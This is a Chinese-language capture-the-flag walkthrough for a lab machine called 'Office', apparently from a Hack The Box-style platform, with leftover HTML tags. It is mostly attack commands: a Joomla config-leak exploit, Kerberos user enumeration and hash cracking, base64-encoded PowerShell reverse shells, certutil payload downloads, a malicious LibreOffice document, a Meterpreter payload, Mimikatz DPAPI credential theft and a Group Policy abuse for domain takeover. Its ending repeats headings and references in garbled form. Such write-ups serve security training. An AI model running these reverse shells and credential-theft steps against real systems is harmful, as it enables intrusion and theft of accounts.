Office 靶机渗透测试详细教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 初始扫描<\/h3>
使用 Nmap 进行初始扫描：<\/p>
nmap -sC -sV 10.10.11.3 --min-rate 1000<\/span>
<\/span><\/span><\/code><\/pre>发现信息：<\/p>

识别到 CMS: Joomla<\/li>
添加主机名到 hosts 文件：<\/li>
<\/ul>
echo '10.10.11.3 office.htb DC.office.htb'<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>1.2 目录发现<\/h3>

发现 robots.txt 目录泄露<\/li>
访问 Joomla 后台：http:\/\/10.10.11.3\/administrator\/index.php<\/code><\/li>
<\/ul>
1.3 漏洞利用<\/h3>
利用 CVE-2023-23752 未授权访问漏洞：<\/p>
http:\/\/10.10.11.3\/api\/index.php\/v1\/config\/application?public=true
<\/code><\/pre>
获取到数据库凭据：<\/p>

用户名: root<\/li>
密码: H0lOgrams4reTakIng0Ver754!<\/li>
<\/ul>
2. Kerberos 用户枚举<\/h2>
2.1 安装 Kerbrute<\/h3>
sudo apt install golang-go
<\/span><\/span>wget https:\/\/github.com\/ropnop\/kerbrute\/releases\/download\/v1.0.3\/kerbrute_linux_amd64
<\/span><\/span>chmod 777<\/span> kerbrute_linux_amd64
<\/span><\/span><\/code><\/pre>2.2 枚举用户<\/h3>
.\/kerbrute_linux_amd64 userenum --dc DC.office.htb -d office.htb \/usr\/share\/seclists\/Usernames\/xato-net-10-million-usernames.txt -o recore.log
<\/span><\/span>grep -oP '\S+(?=@office\.htb)'<\/span> recore.log | sort | uniq > Users.txt
<\/span><\/span><\/code><\/pre>3. SMB 共享访问<\/h2>
3.1 使用 CrackMapExec 验证凭据<\/h3>
crackmapexec smb 10.10.11.3 -u Users.txt -p 'H0lOgrams4reTakIng0Ver754!'<\/span> --shares
<\/span><\/span><\/code><\/pre>发现 dwolfe 用户可以访问 SMB 共享资源。<\/p>
3.2 访问 SMB 共享<\/h3>
smbclient \/\/10.10.11.3\/SOC\ <\/span>Analysis -U dwolfe%H0lOgrams4reTakIng0Ver754!
<\/span><\/span>smb: \><\/span> get Latest-System-Dump-8fbc124d.pcap .\/Main.pacap
<\/span><\/span><\/code><\/pre>4. Kerberos 票据破解<\/h2>
4.1 分析 PCAP 文件<\/h3>
发现 Kerberos 预认证数据，包含 AES256 加密的密文：<\/p>
a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
<\/code><\/pre>
4.2 构建 Hashcat 格式<\/h3>
格式：$krb5pa$18$(USERNAME)$(DC_Server)$(Cipher)<\/code><\/p>
使用用户 tstark 构建：<\/p>
$krb5pa$18$tstark$office.htb$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
<\/code><\/pre>
4.3 使用 Hashcat 破解<\/h3>
hashcat -m 19900<\/span> hash \/usr\/share\/wordlists\/rockyou.txt
<\/span><\/span><\/code><\/pre>获取凭据：<\/p>

用户名: tstark<\/li>
密码: playboy69<\/li>
<\/ul>
5. 获取初始访问权限<\/h2>
5.1 使用获取的凭据登录 Joomla 后台<\/h3>
5.2 反弹 Shell<\/h3>
生成 PowerShell 反弹 shell 代码（使用 https:\/\/www.revshells.com\/）<\/p>
执行：<\/p>
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA1ACIALAAxADAAMAAzADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
<\/span><\/span><\/code><\/pre>5.3 获取用户 Flag<\/h3>
type c:\\Users\tstark\Desktop\user.txt
<\/span><\/span><\/code><\/pre>输出：50a96aa18344772ec1c10135ff5141d8<\/code><\/p>
6. 权限提升<\/h2>
6.1 使用 RunasCs 提权<\/h3>
下载 RunasCs：<\/p>
wget https:\/\/github.com\/antonioCoco\/RunasCs\/releases\/download\/v1.5\/RunasCs.zip
<\/span><\/span>python3 -m http.server 80<\/span>
<\/span><\/span><\/code><\/pre>在靶机执行：<\/p>
cd c:\\Users\Public\Downloads
<\/span><\/span>certutil -urlcache -split -f<\/span> http:<\/span>\/\/10.10.16.15\/RunasCs.exe RunasCs.exe
<\/span><\/span>.\RunasCs.exe tstark playboy69 powershell -r 10.10.16.15:<\/span>10033
<\/span><\/span><\/code><\/pre>6.2 设置 Chisel 隧道<\/h3>
在 Kali：<\/p>
chisel server --port 5564<\/span> --reverse
<\/span><\/span><\/code><\/pre>在靶机：<\/p>
cd C:\Users\Public\Downloads
<\/span><\/span>certutil -urlcache -split -f<\/span> http:<\/span>\/\/10.10.16.15\/chisel.exe chisel.exe
<\/span><\/span>.\chisel.exe client 10.10.16.15:<\/span>5564 R:8083:<\/span>127.0.0.1:<\/span>8083
<\/span><\/span><\/code><\/pre>访问 http:\/\/127.0.0.1:8083<\/code><\/p>
6.3 利用 LibreOffice 漏洞 (CVE-2023-2255)<\/h3>
生成恶意 ODT 文件：<\/p>
git clone https:\/\/github.com\/elweth-sec\/CVE-2023-2255.git
<\/span><\/span>python3 CVE-2023-2255.py --cmd 'C:\Users\Public\reverse.exe'<\/span> --output 'exploit.odt'<\/span>
<\/span><\/span><\/code><\/pre>生成 Meterpreter 载荷：<\/p>
msfvenom -p windows\/x64\/meterpreter\/reverse_tcp LHOST=<\/span>10.10.16.15 LPORT=<\/span>10035<\/span> -f exe -o reverse.exe
<\/span><\/span>msfconsole -x 'use exploit\/multi\/handler;set PAYLOAD windows\/x64\/meterpreter\/reverse_tcp;set LHOST 10.10.16.15;set LPORT 10035;run'<\/span>
<\/span><\/span><\/code><\/pre>在靶机下载 reverse.exe：<\/p>
cd C:\Users\Public
<\/span><\/span>certutil -urlcache -split -f<\/span> http:<\/span>\/\/10.10.16.15\/reverse.exe reverse.exe
<\/span><\/span><\/code><\/pre>上传 exploit.odt 到简历申请表<\/p>
6.4 获取 PPotts 用户凭据<\/h3>
定位凭据文件：<\/p>
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
<\/span><\/span>Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\
<\/span><\/span><\/code><\/pre>使用 Mimikatz 提取主密钥：<\/p>
certutil -urlcache -split -f<\/span> http:<\/span>\/\/10.10.16.15\/mimikatz.exe mimikatz.exe
<\/span><\/span>.\mimikatz.exe
<\/span><\/span><\/code><\/pre>在 Mimikatz 中执行：<\/p>
dpapi::masterkey \/in:"C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" \/rpc
dpapi::cred \/in:"C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4" \/masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
<\/code><\/pre>
获取 HHogan 用户凭据：<\/p>

用户名: HHogan<\/li>
密码: H4ppyFtW183#<\/li>
<\/ul>
7. 域管理员权限获取<\/h2>
7.1 使用 Evil-WinRM 连接<\/h3>
vim \/etc\/proxychains4.conf
<\/span><\/span>chisel server -p 9002<\/span> --reverse --socks5
<\/span><\/span><\/code><\/pre>在靶机：<\/p>
cd C:\Users\Public\Downloads
<\/span><\/span>.\chisel.exe client 10.10.16.15:<\/span>9002 R:socks
<\/span><\/span><\/code><\/pre>7.2 使用 SharpGPOAbuse 提权<\/h3>
下载 SharpGPOAbuse：<\/p>
wget https:\/\/github.com\/byronkg\/SharpGPOAbuse\/releases\/download\/1.0\/SharpGPOAbuse.exe
<\/span><\/span><\/code><\/pre>在靶机：<\/p>
certutil -urlcache -split -f<\/span> http:<\/span>\/\/10.10.16.15\/SharpGPOAbuse.exe SharpGPOAbuse.exe
<\/span><\/span><\/code><\/pre>添加计算机任务：<\/p>
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "s-h4ck13"<\/span> --Author office\Administrator --Command "cmd.exe"<\/span> --Arguments "\/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA1ACIALAAxADAAMAAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"<\/span> --GPOName "Default Domain Controllers Policy"<\/span> --Force
<\/span><\/span>gpupdate \/force
<\/span><\/span><\/code><\/pre>7.3 获取 Root Flag<\/h3>
type c:\\Users\Administrator\Desktop\root.txt
<\/span><\/span><\/code><\/pre>输出：5224918ae4a25196417ca0a559a084e6<\/code><\/p>
8. 关键参考资料<\/h2>


Windows DPAPI 提取密码：

https:\/\/book.hacktricks.xyz\/windows-hardening\/windows-local-privilege-escalation\/dpapi-extracting-passwords<\/p>
<\/li>

Mimikatz DPAPI 模块：

https:\/\/tools.thehacker.recipes\/mimikatz\/modules\/dpapi\/masterkey<\/p>
<\/li>
<\/ol>
Office 靶机渗透测试详细教学文档<\/h1>

1. 信息收集阶段<\/h2>

2. Kerberos 用户枚举<\/h2>

3. SMB 共享访问<\/h2>

4. Kerberos 票据破解<\/h2>

5. 获取初始访问权限<\/h2>

5.1 使用获取的凭据登录 Joomla 后台<\/h3>

7. 域管理员权限获取<\/h2>

8. 关键参考资料<\/h2> Windows DPAPI 提取密码： https:\/\/book.hacktricks.xyz\/windows-hardening\/windows-local-privilege-escalation\/dpapi-extracting-passwords<\/p> <\/li> Mimikatz DPAPI 模块： https:\/\/tools.thehacker.recipes\/mimikatz\/modules\/dpapi\/masterkey<\/p> <\/li> <\/ol>

`8. 关键参考资料<\/h2> Windows DPAPI 提取密码： https:\/\/book.hacktricks.xyz\/windows-hardening\/windows-local-privilege-escalation\/dpapi-extracting-passwords<\/p> <\/li> Mimikatz DPAPI 模块： https:\/\/tools.thehacker.recipes\/mimikatz\/modules\/dpapi\/masterkey<\/p> <\/li> <\/ol>`
